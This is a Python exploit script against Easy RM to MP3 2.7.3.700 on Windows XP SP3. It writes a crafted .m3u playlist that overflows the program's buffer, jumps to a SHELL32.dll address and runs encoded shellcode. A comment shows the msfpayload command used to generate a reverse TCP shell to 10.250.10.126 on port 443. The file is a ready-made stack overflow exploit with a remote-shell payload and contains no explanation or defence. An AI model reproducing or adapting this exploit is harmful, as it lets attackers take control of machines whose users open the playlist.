#!/usr/bin/python

# Exploit for against Easy RM to MP3 2.7.3.700
# 12.2.2009
# Author: Ron Henry - rlh@ciphermonk.net - dijital1
# Version: Easy RM to MP3 2.7.3.700
# Tested against WinXP SP3 - English

outputfile = "astley.m3u"

shellcode="A" * 26071 #Offset to EIP - Windows XP SP3
shellcode+="\x25\x96\xa0\x7c" # JMP ESP - SHELL32.dll WinXP SP3 0x7CA09625
shellcode+="CAFE" * 8  # 32 Byte NOP Sled
#msfpayload windows/shell_reverse_tcp LHOST=10.250.10.126 LPORT=443 R | msfencode -e x86/alpha_upper -t c
shellcode+=("\x89\xe7\xda\xde\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4c\x49\x45\x50"
"\x43\x30\x45\x50\x43\x50\x4d\x59\x4a\x45\x50\x31\x48\x52\x43"
"\x54\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x51\x42\x44\x4c\x4c\x4b"
"\x46\x32\x45\x44\x4c\x4b\x43\x42\x46\x48\x44\x4f\x4f\x47\x51"
"\x5a\x47\x56\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x4f\x37\x4b\x52\x4c\x30\x50\x52\x50\x57\x4c\x4b"
"\x51\x42\x44\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x48\x50\x4c"
"\x4b\x51\x50\x42\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x43\x31"
"\x4e\x30\x50\x50\x4c\x4b\x51\x58\x44\x58\x4c\x4b\x50\x58\x47"
"\x50\x43\x31\x4e\x33\x4d\x33\x47\x4c\x47\x39\x4c\x4b\x46\x54"
"\x4c\x4b\x43\x31\x4e\x36\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x50\x38\x4d\x30"
"\x43\x45\x4c\x34\x43\x33\x43\x4d\x4a\x58\x47\x4b\x43\x4d\x51"
"\x34\x44\x35\x4a\x42\x46\x38\x4c\x4b\x51\x48\x46\x44\x45\x51"
"\x4e\x33\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45"
"\x4c\x45\x51\x49\x43\x4c\x4b\x44\x44\x4c\x4b\x45\x51\x4e\x30"
"\x4d\x59\x50\x44\x51\x34\x46\x44\x51\x4b\x51\x4b\x45\x31\x46"
"\x39\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x46\x38\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4c\x46\x51\x4d\x43\x58\x47\x43\x50"
"\x32\x43\x30\x45\x50\x43\x58\x44\x37\x44\x33\x50\x32\x51\x4f"
"\x51\x44\x42\x48\x50\x4c\x44\x37\x47\x56\x44\x47\x4b\x4f\x48"
"\x55\x4f\x48\x4a\x30\x45\x51\x45\x50\x43\x30\x46\x49\x48\x44"
"\x51\x44\x46\x30\x43\x58\x51\x39\x4d\x50\x42\x4b\x43\x30\x4b"
"\x4f\x49\x45\x50\x50\x46\x30\x46\x30\x46\x30\x51\x50\x46\x30"
"\x51\x50\x46\x30\x42\x48\x4b\x5a\x44\x4f\x49\x4f\x4b\x50\x4b"
"\x4f\x49\x45\x4b\x39\x4f\x37\x45\x38\x44\x4a\x4a\x5a\x45\x5a"
"\x43\x4e\x42\x48\x45\x52\x43\x30\x43\x31\x4f\x4b\x4d\x59\x4d"
"\x36\x43\x5a\x44\x50\x51\x46\x50\x57\x45\x38\x4c\x59\x4e\x45"
"\x43\x44\x43\x51\x4b\x4f\x49\x45\x45\x38\x45\x33\x42\x4d\x45"
"\x34\x45\x50\x4b\x39\x4a\x43\x51\x47\x51\x47\x46\x37\x50\x31"
"\x4b\x46\x43\x5a\x45\x42\x50\x59\x51\x46\x4d\x32\x4b\x4d\x45"
"\x36\x49\x57\x51\x54\x46\x44\x47\x4c\x43\x31\x43\x31\x4c\x4d"
"\x51\x54\x46\x44\x44\x50\x49\x56\x43\x30\x47\x34\x51\x44\x46"
"\x30\x46\x36\x46\x36\x51\x46\x47\x36\x51\x46\x50\x4e\x50\x56"
"\x51\x46\x50\x53\x50\x56\x42\x48\x43\x49\x48\x4c\x47\x4f\x4c"
"\x46\x4b\x4f\x49\x45\x4b\x39\x4b\x50\x50\x4e\x51\x46\x50\x46"
"\x4b\x4f\x46\x50\x45\x38\x44\x48\x4b\x37\x45\x4d\x43\x50\x4b"
"\x4f\x48\x55\x4f\x4b\x4c\x30\x4e\x55\x4e\x42\x50\x56\x45\x38"
"\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x44"
"\x46\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x44\x35\x44\x45"
"\x4f\x4b\x51\x57\x44\x53\x42\x52\x42\x4f\x43\x5a\x43\x30\x46"
"\x33\x4b\x4f\x48\x55\x44\x4a\x41\x41")

FILE = open(outputfile, "w")
FILE.write(shellcode)
FILE.close()
